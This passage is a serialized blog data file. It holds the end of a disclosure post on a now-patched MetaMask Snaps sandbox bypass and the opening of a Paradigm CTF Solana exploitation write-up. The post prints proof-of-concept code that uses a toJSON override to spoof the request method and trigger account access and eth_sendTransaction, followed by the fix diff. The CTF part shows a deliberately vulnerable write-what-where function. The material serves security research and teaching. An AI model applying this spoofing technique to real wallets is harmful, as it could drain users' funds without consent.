}\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[40294],{"type":21,"tag":194,"props":40295,"children":40296},{"__ignoreMap":7},[40297,40330,40337,40344,40361,40390,40397,40422,40429,40461,40472,40489,40502,40509,40516,40523,40555,40562,40569,40576,40592,40619,40626,40649,40656,40687,40698,40714,40726,40747,40762,40779,40787,40794,40801,40808,40839,40846,40853,40913,40920,40948,40965,40980,40996,41011,41023,41052,41059],{"type":21,"tag":198,"props":40298,"children":40299},{"class":200,"line":201},[40300,40304,40308,40313,40317,40321,40326],{"type":21,"tag":198,"props":40301,"children":40302},{"style":640},[40303],{"type":27,"value":20278},{"type":21,"tag":198,"props":40305,"children":40306},{"style":211},[40307],{"type":27,"value":1891},{"type":21,"tag":198,"props":40309,"children":40310},{"style":226},[40311],{"type":27,"value":40312},"OnRpcRequestHandler",{"type":21,"tag":198,"props":40314,"children":40315},{"style":211},[40316],{"type":27,"value":1257},{"type":21,"tag":198,"props":40318,"children":40319},{"style":640},[40320],{"type":27,"value":20268},{"type":21,"tag":198,"props":40322,"children":40323},{"style":205},[40324],{"type":27,"value":40325}," '@metamask/snaps-types'",{"type":21,"tag":198,"props":40327,"children":40328},{"style":211},[40329],{"type":27,"value":1483},{"type":21,"tag":198,"props":40331,"children":40332},{"class":200,"line":217},[40333],{"type":21,"tag":198,"props":40334,"children":40335},{"emptyLinePlaceholder":16},[40336],{"type":27,"value":1283},{"type":21,"tag":198,"props":40338,"children":40339},{"class":200,"line":236},[40340],{"type":21,"tag":198,"props":40341,"children":40342},{"emptyLinePlaceholder":16},[40343],{"type":27,"value":1283},{"type":21,"tag":198,"props":40345,"children":40346},{"class":200,"line":260},[40347,40351,40356],{"type":21,"tag":198,"props":40348,"children":40349},{"style":249},[40350],{"type":27,"value":892},{"type":21,"tag":198,"props":40352,"children":40353},{"style":698},[40354],{"type":27,"value":40355}," jsonExploit",{"type":21,"tag":198,"props":40357,"children":40358},{"style":211},[40359],{"type":27,"value":40360},"(){\n",{"type":21,"tag":198,"props":40362,"children":40363},{"class":200,"line":281},[40364,40368,40372,40376,40381,40385],{"type":21,"tag":198,"props":40365,"children":40366},{"style":249},[40367],{"type":27,"value":1023},{"type":21,"tag":198,"props":40369,"children":40370},{"style":226},[40371],{"type":27,"value":19859},{"type":21,"tag":198,"props":40373,"children":40374},{"style":683},[40375],{"type":27,"value":979},{"type":21,"tag":198,"props":40377,"children":40378},{"style":211},[40379],{"type":27,"value":40380}," [] ",{"type":21,"tag":198,"props":40382,"children":40383},{"style":640},[40384],{"type":27,"value":9652},{"type":21,"tag":198,"props":40386,"children":40387},{"style":1966},[40388],{"type":27,"value":40389}," any\n",{"type":21,"tag":198,"props":40391,"children":40392},{"class":200,"line":302},[40393],{"type":21,"tag":198,"props":40394,"children":40395},{"emptyLinePlaceholder":16},[40396],{"type":27,"value":1283},{"type":21,"tag":198,"props":40398,"children":40399},{"class":200,"line":323},[40400,40405,40409,40413,40417],{"type":21,"tag":198,"props":40401,"children":40402},{"style":226},[40403],{"type":27,"value":40404}," x",{"type":21,"tag":198,"props":40406,"children":40407},{"style":211},[40408],{"type":27,"value":658},{"type":21,"tag":198,"props":40410,"children":40411},{"style":226},[40412],{"type":27,"value":39071},{"type":21,"tag":198,"props":40414,"children":40415},{"style":683},[40416],{"type":27,"value":979},{"type":21,"tag":198,"props":40418,"children":40419},{"style":205},[40420],{"type":27,"value":40421}," \"snap_dialog\"\n",{"type":21,"tag":198,"props":40423,"children":40424},{"class":200,"line":344},[40425],{"type":21,"tag":198,"props":40426,"children":40427},{"emptyLinePlaceholder":16},[40428],{"type":27,"value":1283},{"type":21,"tag":198,"props":40430,"children":40431},{"class":200,"line":365},[40432,40436,40440,40444,40448,40453,40457],{"type":21,"tag":198,"props":40433,"children":40434},{"style":226},[40435],{"type":27,"value":40404},{"type":21,"tag":198,"props":40437,"children":40438},{"style":211},[40439],{"type":27,"value":658},{"type":21,"tag":198,"props":40441,"children":40442},{"style":698},[40443],{"type":27,"value":40168},{"type":21,"tag":198,"props":40445,"children":40446},{"style":683},[40447],{"type":27,"value":979},{"type":21,"tag":198,"props":40449,"children":40450},{"style":211},[40451],{"type":27,"value":40452}," () ",{"type":21,"tag":198,"props":40454,"children":40455},{"style":249},[40456],{"type":27,"value":15626},{"type":21,"tag":198,"props":40458,"children":40459},{"style":211},[40460],{"type":27,"value":233},{"type":21,"tag":198,"props":40462,"children":40463},{"class":200,"line":386},[40464,40468],{"type":21,"tag":198,"props":40465,"children":40466},{"style":640},[40467],{"type":27,"value":1478},{"type":21,"tag":198,"props":40469,"children":40470},{"style":211},[40471],{"type":27,"value":233},{"type":21,"tag":198,"props":40473,"children":40474},{"class":200,"line":408},[40475,40480,40485],{"type":21,"tag":198,"props":40476,"children":40477},{"style":226},[40478],{"type":27,"value":40479}," method:",{"type":21,"tag":198,"props":40481,"children":40482},{"style":205},[40483],{"type":27,"value":40484}," \"eth_requestAccounts\"",{"type":21,"tag":198,"props":40486,"children":40487},{"style":211},[40488],{"type":27,"value":257},{"type":21,"tag":198,"props":40490,"children":40491},{"class":200,"line":429},[40492,40497],{"type":21,"tag":198,"props":40493,"children":40494},{"style":226},[40495],{"type":27,"value":40496}," params:",{"type":21,"tag":198,"props":40498,"children":40499},{"style":211},[40500],{"type":27,"value":40501}," []\n",{"type":21,"tag":198,"props":40503,"children":40504},{"class":200,"line":450},[40505],{"type":21,"tag":198,"props":40506,"children":40507},{"style":211},[40508],{"type":27,"value":880},{"type":21,"tag":198,"props":40510,"children":40511},{"class":200,"line":468},[40512],{"type":21,"tag":198,"props":40513,"children":40514},{"style":211},[40515],{"type":27,"value":2249},{"type":21,"tag":198,"props":40517,"children":40518},{"class":200,"line":477},[40519],{"type":21,"tag":198,"props":40520,"children":40521},{"emptyLinePlaceholder":16},[40522],{"type":27,"value":1283},{"type":21,"tag":198,"props":40524,"children":40525},{"class":200,"line":494},[40526,40530,40535,40539,40543,40547,40551],{"type":21,"tag":198,"props":40527,"children":40528},{"style":640},[40529],{"type":27,"value":1886},{"type":21,"tag":198,"props":40531,"children":40532},{"style":226},[40533],{"type":27,"value":40534}," snap",{"type":21,"tag":198,"props":40536,"children":40537},{"style":211},[40538],{"type":27,"value":658},{"type":21,"tag":198,"props":40540,"children":40541},{"style":698},[40542],{"type":27,"value":32280},{"type":21,"tag":198,"props":40544,"children":40545},{"style":211},[40546],{"type":27,"value":706},{"type":21,"tag":198,"props":40548,"children":40549},{"style":226},[40550],{"type":27,"value":20070},{"type":21,"tag":198,"props":40552,"children":40553},{"style":211},[40554],{"type":27,"value":789},{"type":21,"tag":198,"props":40556,"children":40557},{"class":200,"line":515},[40558],{"type":21,"tag":198,"props":40559,"children":40560},{"emptyLinePlaceholder":16},[40561],{"type":27,"value":1283},{"type":21,"tag":198,"props":40563,"children":40564},{"class":200,"line":4484},[40565],{"type":21,"tag":198,"props":40566,"children":40567},{"style":211},[40568],{"type":27,"value":1120},{"type":21,"tag":198,"props":40570,"children":40571},{"class":200,"line":4493},[40572],{"type":21,"tag":198,"props":40573,"children":40574},{"emptyLinePlaceholder":16},[40575],{"type":27,"value":1283},{"type":21,"tag":198,"props":40577,"children":40578},{"class":200,"line":4561},[40579,40583,40588],{"type":21,"tag":198,"props":40580,"children":40581},{"style":249},[40582],{"type":27,"value":892},{"type":21,"tag":198,"props":40584,"children":40585},{"style":698},[40586],{"type":27,"value":40587}," transactionExploit",{"type":21,"tag":198,"props":40589,"children":40590},{"style":211},[40591],{"type":27,"value":40360},{"type":21,"tag":198,"props":40593,"children":40594},{"class":200,"line":4569},[40595,40599,40603,40607,40611,40615],{"type":21,"tag":198,"props":40596,"children":40597},{"style":249},[40598],{"type":27,"value":1023},{"type":21,"tag":198,"props":40600,"children":40601},{"style":226},[40602],{"type":27,"value":19859},{"type":21,"tag":198,"props":40604,"children":40605},{"style":683},[40606],{"type":27,"value":979},{"type":21,"tag":198,"props":40608,"children":40609},{"style":211},[40610],{"type":27,"value":40380},{"type":21,"tag":198,"props":40612,"children":40613},{"style":640},[40614],{"type":27,"value":9652},{"type":21,"tag":198,"props":40616,"children":40617},{"style":1966},[40618],{"type":27,"value":40389},{"type":21,"tag":198,"props":40620,"children":40621},{"class":200,"line":4599},[40622],{"type":21,"tag":198,"props":40623,"children":40624},{"emptyLinePlaceholder":16},[40625],{"type":27,"value":1283},{"type":21,"tag":198,"props":40627,"children":40628},{"class":200,"line":4607},[40629,40633,40637,40641,40645],{"type":21,"tag":198,"props":40630,"children":40631},{"style":226},[40632],{"type":27,"value":40404},{"type":21,"tag":198,"props":40634,"children":40635},{"style":211},[40636],{"type":27,"value":658},{"type":21,"tag":198,"props":40638,"children":40639},{"style":226},[40640],{"type":27,"value":39071},{"type":21,"tag":198,"props":40642,"children":40643},{"style":683},[40644],{"type":27,"value":979},{"type":21,"tag":198,"props":40646,"children":40647},{"style":205},[40648],{"type":27,"value":40421},{"type":21,"tag":198,"props":40650,"children":40651},{"class":200,"line":4638},[40652],{"type":21,"tag":198,"props":40653,"children":40654},{"emptyLinePlaceholder":16},[40655],{"type":27,"value":1283},{"type":21,"tag":198,"props":40657,"children":40658},{"class":200,"line":4646},[40659,40663,40667,40671,40675,40679,40683],{"type":21,"tag":198,"props":40660,"children":40661},{"style":226},[40662],{"type":27,"value":40404},{"type":21,"tag":198,"props":40664,"children":40665},{"style":211},[40666],{"type":27,"value":658},{"type":21,"tag":198,"props":40668,"children":40669},{"style":698},[40670],{"type":27,"value":40168},{"type":21,"tag":198,"props":40672,"children":40673},{"style":683},[40674],{"type":27,"value":979},{"type":21,"tag":198,"props":40676,"children":40677},{"style":211},[40678],{"type":27,"value":40452},{"type":21,"tag":198,"props":40680,"children":40681},{"style":249},[40682],{"type":27,"value":15626},{"type":21,"tag":198,"props":40684,"children":40685},{"style":211},[40686],{"type":27,"value":233},{"type":21,"tag":198,"props":40688,"children":40689},{"class":200,"line":4706},[40690,40694],{"type":21,"tag":198,"props":40691,"children":40692},{"style":640},[40693],{"type":27,"value":1478},{"type":21,"tag":198,"props":40695,"children":40696},{"style":211},[40697],{"type":27,"value":233},{"type":21,"tag":198,"props":40699,"children":40700},{"class":200,"line":9857},[40701,40705,40710],{"type":21,"tag":198,"props":40702,"children":40703},{"style":226},[40704],{"type":27,"value":40479},{"type":21,"tag":198,"props":40706,"children":40707},{"style":205},[40708],{"type":27,"value":40709}," \"eth_sendTransaction\"",{"type":21,"tag":198,"props":40711,"children":40712},{"style":211},[40713],{"type":27,"value":257},{"type":21,"tag":198,"props":40715,"children":40716},{"class":200,"line":9875},[40717,40721],{"type":21,"tag":198,"props":40718,"children":40719},{"style":226},[40720],{"type":27,"value":40496},{"type":21,"tag":198,"props":40722,"children":40723},{"style":211},[40724],{"type":27,"value":40725}," [{\n",{"type":21,"tag":198,"props":40727,"children":40728},{"class":200,"line":9920},[40729,40733,40738,40742],{"type":21,"tag":198,"props":40730,"children":40731},{"style":226},[40732],{"type":27,"value":32851},{"type":21,"tag":198,"props":40734,"children":40735},{"style":205},[40736],{"type":27,"value":40737}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":21,"tag":198,"props":40739,"children":40740},{"style":211},[40741],{"type":27,"value":828},{"type":21,"tag":198,"props":40743,"children":40744},{"style":1233},[40745],{"type":27,"value":40746},"// change this to your address\n",{"type":21,"tag":198,"props":40748,"children":40749},{"class":200,"line":10026},[40750,40754,40758],{"type":21,"tag":198,"props":40751,"children":40752},{"style":226},[40753],{"type":27,"value":32867},{"type":21,"tag":198,"props":40755,"children":40756},{"style":205},[40757],{"type":27,"value":40737},{"type":21,"tag":198,"props":40759,"children":40760},{"style":211},[40761],{"type":27,"value":257},{"type":21,"tag":198,"props":40763,"children":40764},{"class":200,"line":24302},[40765,40770,40775],{"type":21,"tag":198,"props":40766,"children":40767},{"style":226},[40768],{"type":27,"value":40769}," value:",{"type":21,"tag":198,"props":40771,"children":40772},{"style":205},[40773],{"type":27,"value":40774}," \"0x1\"",{"type":21,"tag":198,"props":40776,"children":40777},{"style":211},[40778],{"type":27,"value":257},{"type":21,"tag":198,"props":40780,"children":40781},{"class":200,"line":24337},[40782],{"type":21,"tag":198,"props":40783,"children":40784},{"style":211},[40785],{"type":27,"value":40786}," }]\n",{"type":21,"tag":198,"props":40788,"children":40789},{"class":200,"line":24345},[40790],{"type":21,"tag":198,"props":40791,"children":40792},{"style":211},[40793],{"type":27,"value":880},{"type":21,"tag":198,"props":40795,"children":40796},{"class":200,"line":24353},[40797],{"type":21,"tag":198,"props":40798,"children":40799},{"style":211},[40800],{"type":27,"value":2249},{"type":21,"tag":198,"props":40802,"children":40803},{"class":200,"line":24362},[40804],{"type":21,"tag":198,"props":40805,"children":40806},{"emptyLinePlaceholder":16},[40807],{"type":27,"value":1283},{"type":21,"tag":198,"props":40809,"children":40810},{"class":200,"line":24404},[40811,40815,40819,40823,40827,40831,40835],{"type":21,"tag":198,"props":40812,"children":40813},{"style":640},[40814],{"type":27,"value":1886},{"type":21,"tag":198,"props":40816,"children":40817},{"style":226},[40818],{"type":27,"value":40534},{"type":21,"tag":198,"props":40820,"children":40821},{"style":211},[40822],{"type":27,"value":658},{"type":21,"tag":198,"props":40824,"children":40825},{"style":698},[40826],{"type":27,"value":32280},{"type":21,"tag":198,"props":40828,"children":40829},{"style":211},[40830],{"type":27,"value":706},{"type":21,"tag":198,"props":40832,"children":40833},{"style":226},[40834],{"type":27,"value":20070},{"type":21,"tag":198,"props":40836,"children":40837},{"style":211},[40838],{"type":27,"value":1470},{"type":21,"tag":198,"props":40840,"children":40841},{"class":200,"line":24437},[40842],{"type":21,"tag":198,"props":40843,"children":40844},{"style":211},[40845],{"type":27,"value":1120},{"type":21,"tag":198,"props":40847,"children":40848},{"class":200,"line":24445},[40849],{"type":21,"tag":198,"props":40850,"children":40851},{"emptyLinePlaceholder":16},[40852],{"type":27,"value":1283},{"type":21,"tag":198,"props":40854,"children":40855},{"class":200,"line":24453},[40856,40860,40864,40869,40873,40878,40882,40887,40892,40896,40900,40905,40909],{"type":21,"tag":198,"props":40857,"children":40858},{"style":640},[40859],{"type":27,"value":38968},{"type":21,"tag":198,"props":40861,"children":40862},{"style":249},[40863],{"type":27,"value":39869},{"type":21,"tag":198,"props":40865,"children":40866},{"style":698},[40867],{"type":27,"value":40868}," onRpcRequest",{"type":21,"tag":198,"props":40870,"children":40871},{"style":683},[40872],{"type":27,"value":185},{"type":21,"tag":198,"props":40874,"children":40875},{"style":1966},[40876],{"type":27,"value":40877}," OnRpcRequestHandler",{"type":21,"tag":198,"props":40879,"children":40880},{"style":683},[40881],{"type":27,"value":979},{"type":21,"tag":198,"props":40883,"children":40884},{"style":211},[40885],{"type":27,"value":40886}," ({ ",{"type":21,"tag":198,"props":40888,"children":40889},{"style":226},[40890],{"type":27,"value":40891},"origin",{"type":21,"tag":198,"props":40893,"children":40894},{"style":211},[40895],{"type":27,"value":828},{"type":21,"tag":198,"props":40897,"children":40898},{"style":226},[40899],{"type":27,"value":32280},{"type":21,"tag":198,"props":40901,"children":40902},{"style":211},[40903],{"type":27,"value":40904}," }) ",{"type":21,"tag":198,"props":40906,"children":40907},{"style":249},[40908],{"type":27,"value":15626},{"type":21,"tag":198,"props":40910,"children":40911},{"style":211},[40912],{"type":27,"value":233},{"type":21,"tag":198,"props":40914,"children":40915},{"class":200,"line":24462},[40916],{"type":21,"tag":198,"props":40917,"children":40918},{"emptyLinePlaceholder":16},[40919],{"type":27,"value":1283},{"type":21,"tag":198,"props":40921,"children":40922},{"class":200,"line":24538},[40923,40928,40932,40936,40940,40944],{"type":21,"tag":198,"props":40924,"children":40925},{"style":640},[40926],{"type":27,"value":40927}," switch",{"type":21,"tag":198,"props":40929,"children":40930},{"style":211},[40931],{"type":27,"value":648},{"type":21,"tag":198,"props":40933,"children":40934},{"style":226},[40935],{"type":27,"value":32280},{"type":21,"tag":198,"props":40937,"children":40938},{"style":211},[40939],{"type":27,"value":658},{"type":21,"tag":198,"props":40941,"children":40942},{"style":226},[40943],{"type":27,"value":39071},{"type":21,"tag":198,"props":40945,"children":40946},{"style":211},[40947],{"type":27,"value":668},{"type":21,"tag":198,"props":40949,"children":40950},{"class":200,"line":24571},[40951,40956,40961],{"type":21,"tag":198,"props":40952,"children":40953},{"style":640},[40954],{"type":27,"value":40955}," case",{"type":21,"tag":198,"props":40957,"children":40958},{"style":205},[40959],{"type":27,"value":40960}," 'json'",{"type":21,"tag":198,"props":40962,"children":40963},{"style":211},[40964],{"type":27,"value":6381},{"type":21,"tag":198,"props":40966,"children":40967},{"class":200,"line":24579},[40968,40972,40976],{"type":21,"tag":198,"props":40969,"children":40970},{"style":640},[40971],{"type":27,"value":40112},{"type":21,"tag":198,"props":40973,"children":40974},{"style":698},[40975],{"type":27,"value":40355},{"type":21,"tag":198,"props":40977,"children":40978},{"style":211},[40979],{"type":27,"value":3404},{"type":21,"tag":198,"props":40981,"children":40982},{"class":200,"line":24587},[40983,40987,40992],{"type":21,"tag":198,"props":40984,"children":40985},{"style":640},[40986],{"type":27,"value":40955},{"type":21,"tag":198,"props":40988,"children":40989},{"style":205},[40990],{"type":27,"value":40991}," 'transaction'",{"type":21,"tag":198,"props":40993,"children":40994},{"style":211},[40995],{"type":27,"value":6381},{"type":21,"tag":198,"props":40997,"children":40998},{"class":200,"line":24624},[40999,41003,41007],{"type":21,"tag":198,"props":41000,"children":41001},{"style":640},[41002],{"type":27,"value":40112},{"type":21,"tag":198,"props":41004,"children":41005},{"style":698},[41006],{"type":27,"value":40587},{"type":21,"tag":198,"props":41008,"children":41009},{"style":211},[41010],{"type":27,"value":3404},{"type":21,"tag":198,"props":41012,"children":41013},{"class":200,"line":24637},[41014,41019],{"type":21,"tag":198,"props":41015,"children":41016},{"style":640},[41017],{"type":27,"value":41018}," default",{"type":21,"tag":198,"props":41020,"children":41021},{"style":211},[41022],{"type":27,"value":6381},{"type":21,"tag":198,"props":41024,"children":41025},{"class":200,"line":24650},[41026,41031,41035,41039,41043,41048],{"type":21,"tag":198,"props":41027,"children":41028},{"style":640},[41029],{"type":27,"value":41030}," throw",{"type":21,"tag":198,"props":41032,"children":41033},{"style":249},[41034],{"type":27,"value":737},{"type":21,"tag":198,"props":41036,"children":41037},{"style":698},[41038],{"type":27,"value":742},{"type":21,"tag":198,"props":41040,"children":41041},{"style":211},[41042],{"type":27,"value":706},{"type":21,"tag":198,"props":41044,"children":41045},{"style":205},[41046],{"type":27,"value":41047},"'Method not found.'",{"type":21,"tag":198,"props":41049,"children":41050},{"style":211},[41051],{"type":27,"value":1470},{"type":21,"tag":198,"props":41053,"children":41054},{"class":200,"line":24663},[41055],{"type":21,"tag":198,"props":41056,"children":41057},{"style":211},[41058],{"type":27,"value":2249},{"type":21,"tag":198,"props":41060,"children":41061},{"class":200,"line":24717},[41062],{"type":21,"tag":198,"props":41063,"children":41064},{"style":211},[41065],{"type":27,"value":2357},{"type":21,"tag":30,"props":41067,"children":41068},{},[41069,41071,41077,41079,41084],{"type":27,"value":41070},"We set ",{"type":21,"tag":194,"props":41072,"children":41074},{"className":41073},[],[41075],{"type":27,"value":41076},"x.method = \"snap_dialog\"",{"type":27,"value":41078}," to pass the assertion and setup a toJSON function to change this method to ",{"type":21,"tag":194,"props":41080,"children":41082},{"className":41081},[],[41083],{"type":27,"value":40287},{"type":27,"value":41085}," after.",{"type":21,"tag":59,"props":41087,"children":41089},{"id":41088},"mitigation",[41090],{"type":27,"value":41091},"Mitigation",{"type":21,"tag":30,"props":41093,"children":41094},{},[41095,41097,41102,41104,41111],{"type":27,"value":41096},"Metamask mitigated this issue by asserting the arguments after the ",{"type":21,"tag":194,"props":41098,"children":41100},{"className":41099},[],[41101],{"type":27,"value":39834},{"type":27,"value":41103}," function execution. The patch was introduced on commit ",{"type":21,"tag":34,"props":41105,"children":41108},{"href":41106,"rel":41107},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[38],[41109],{"type":27,"value":41110},"168ff08",{"type":27,"value":41112}," with the following changes:",{"type":21,"tag":187,"props":41114,"children":41116},{"className":2528,"code":41115,"language":2530,"meta":7,"style":7},"const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n",[41117],{"type":21,"tag":194,"props":41118,"children":41119},{"__ignoreMap":7},[41120,41128,41136,41144,41152],{"type":21,"tag":198,"props":41121,"children":41122},{"class":200,"line":201},[41123],{"type":21,"tag":198,"props":41124,"children":41125},{"style":211},[41126],{"type":27,"value":41127},"const request = async (args: RequestArguments) => {\n",{"type":21,"tag":198,"props":41129,"children":41130},{"class":200,"line":217},[41131],{"type":21,"tag":198,"props":41132,"children":41133},{"style":205},[41134],{"type":27,"value":41135},"- assertEthereumOutboundRequest(args);\n",{"type":21,"tag":198,"props":41137,"children":41138},{"class":200,"line":236},[41139],{"type":21,"tag":198,"props":41140,"children":41141},{"style":205},[41142],{"type":27,"value":41143},"- const sanitizedArgs = getSafeJson(args);\n",{"type":21,"tag":198,"props":41145,"children":41146},{"class":200,"line":260},[41147],{"type":21,"tag":198,"props":41148,"children":41149},{"style":2540},[41150],{"type":27,"value":41151},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":21,"tag":198,"props":41153,"children":41154},{"class":200,"line":281},[41155],{"type":21,"tag":198,"props":41156,"children":41157},{"style":2540},[41158],{"type":27,"value":41159},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":21,"tag":22,"props":41161,"children":41162},{"id":3586},[41163],{"type":27,"value":3589},{"type":21,"tag":30,"props":41165,"children":41166},{},[41167],{"type":27,"value":41168},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":21,"tag":30,"props":41170,"children":41171},{},[41172],{"type":27,"value":41173},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":21,"tag":3645,"props":41175,"children":41176},{},[41177],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":41179},[41180,41181,41188,41196],{"id":24,"depth":217,"text":28},{"id":36226,"depth":217,"text":36229,"children":41182},[41183,41184,41185,41186,41187],{"id":36237,"depth":236,"text":36240},{"id":36305,"depth":236,"text":36308},{"id":36341,"depth":236,"text":36344},{"id":37734,"depth":236,"text":37737},{"id":38084,"depth":236,"text":38087},{"id":38867,"depth":217,"text":38870,"children":41189},[41190,41191,41192,41193,41194,41195],{"id":38873,"depth":236,"text":38876},{"id":38917,"depth":236,"text":38920},{"id":39820,"depth":236,"text":39823},{"id":6475,"depth":236,"text":6478},{"id":40260,"depth":236,"text":35606},{"id":41088,"depth":236,"text":41091},{"id":3586,"depth":217,"text":3589},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":41201,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41202,"description":41203,"author":41204,"image":41206,"date":41208,"isFeatured":16,"onBlogPage":16,"body":41209,"_type":3671,"_id":46629,"_source":3673,"_file":46630,"_stem":46631,"_extension":3676},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[41205,6533],"nicola",{"src":41207},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":18,"children":41210,"toc":46618},[41211,41225,41245,41250,41254,41267,41292,41298,41303,41318,41672,41687,41952,41968,42611,42617,42622,42635,42643,42855,42863,43166,43174,43317,43325,43850,43856,43868,43881,43895,43900,44668,44673,44681,44686,44692,44704,44769,44774,44787,44800,44806,44834,45985,45998,46040,46045,46050,46064,46204,46225,46246,46253,46304,46312,46323,46336,46341,46465,46478,46580,46584,46597,46602,46614],{"type":21,"tag":30,"props":41212,"children":41213},{},[41214,41216,41223],{"type":27,"value":41215},"In the world of CTFs, ",{"type":21,"tag":34,"props":41217,"children":41220},{"href":41218,"rel":41219},"https://twitter.com/paradigm_ctf",[38],[41221],{"type":27,"value":41222},"Paradigm CTF 2023",{"type":27,"value":41224}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":21,"tag":30,"props":41226,"children":41227},{},[41228,41230,41237,41238],{"type":27,"value":41229},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":21,"tag":34,"props":41231,"children":41234},{"href":41232,"rel":41233},"https://osec.io/blog/2022-03-14-solana-security-intro",[38],[41235],{"type":27,"value":41236},"Solana: An Auditor's Introduction",{"type":27,"value":11801},{"type":21,"tag":34,"props":41239,"children":41242},{"href":41240,"rel":41241},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[38],[41243],{"type":27,"value":41244},"Reverse Engineering Solana with Binary Ninja.\n",{"type":21,"tag":30,"props":41246,"children":41247},{},[41248],{"type":27,"value":41249},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":21,"tag":22,"props":41251,"children":41252},{"id":24},[41253],{"type":27,"value":28},{"type":21,"tag":30,"props":41255,"children":41256},{},[41257,41259,41265],{"type":27,"value":41258},"The challenge itself resides into ",{"type":21,"tag":194,"props":41260,"children":41262},{"className":41261},[],[41263],{"type":27,"value":41264},"framework/",{"type":27,"value":41266},", and is composed of 2 parts:",{"type":21,"tag":138,"props":41268,"children":41269},{},[41270,41281],{"type":21,"tag":75,"props":41271,"children":41272},{},[41273,41279],{"type":21,"tag":194,"props":41274,"children":41276},{"className":41275},[],[41277],{"type":27,"value":41278},"framework/chall/lib.rs",{"type":27,"value":41280},": The on-chain eBPF program that needs to be exploited.",{"type":21,"tag":75,"props":41282,"children":41283},{},[41284,41290],{"type":21,"tag":194,"props":41285,"children":41287},{"className":41286},[],[41288],{"type":27,"value":41289},"framework/src/main.rs",{"type":27,"value":41291},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":21,"tag":59,"props":41293,"children":41295},{"id":41294},"vulnerable-program",[41296],{"type":27,"value":41297},"Vulnerable Program",{"type":21,"tag":30,"props":41299,"children":41300},{},[41301],{"type":27,"value":41302},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":21,"tag":71,"props":41304,"children":41305},{},[41306],{"type":21,"tag":75,"props":41307,"children":41308},{},[41309,41310,41316],{"type":27,"value":8292},{"type":21,"tag":194,"props":41311,"children":41313},{"className":41312},[],[41314],{"type":27,"value":41315},"data[0] == 0",{"type":27,"value":41317}," a function that lets you write-what-where is executed",{"type":21,"tag":187,"props":41319,"children":41321},{"className":3789,"code":41320,"language":3788,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[41322],{"type":21,"tag":194,"props":41323,"children":41324},{"__ignoreMap":7},[41325,41333,41378,41389,41512,41629,41658,41665],{"type":21,"tag":198,"props":41326,"children":41327},{"class":200,"line":201},[41328],{"type":21,"tag":198,"props":41329,"children":41330},{"style":211},[41331],{"type":27,"value":41332},"#[inline(never)]\n",{"type":21,"tag":198,"props":41334,"children":41335},{"class":200,"line":217},[41336,41340,41344,41349,41353,41357,41361,41365,41369,41373],{"type":21,"tag":198,"props":41337,"children":41338},{"style":249},[41339],{"type":27,"value":14497},{"type":21,"tag":198,"props":41341,"children":41342},{"style":249},[41343],{"type":27,"value":14502},{"type":21,"tag":198,"props":41345,"children":41346},{"style":698},[41347],{"type":27,"value":41348}," write",{"type":21,"tag":198,"props":41350,"children":41351},{"style":211},[41352],{"type":27,"value":706},{"type":21,"tag":198,"props":41354,"children":41355},{"style":226},[41356],{"type":27,"value":4508},{"type":21,"tag":198,"props":41358,"children":41359},{"style":683},[41360],{"type":27,"value":185},{"type":21,"tag":198,"props":41362,"children":41363},{"style":683},[41364],{"type":27,"value":7953},{"type":21,"tag":198,"props":41366,"children":41367},{"style":211},[41368],{"type":27,"value":2051},{"type":21,"tag":198,"props":41370,"children":41371},{"style":1966},[41372],{"type":27,"value":4226},{"type":21,"tag":198,"props":41374,"children":41375},{"style":211},[41376],{"type":27,"value":41377},"]) 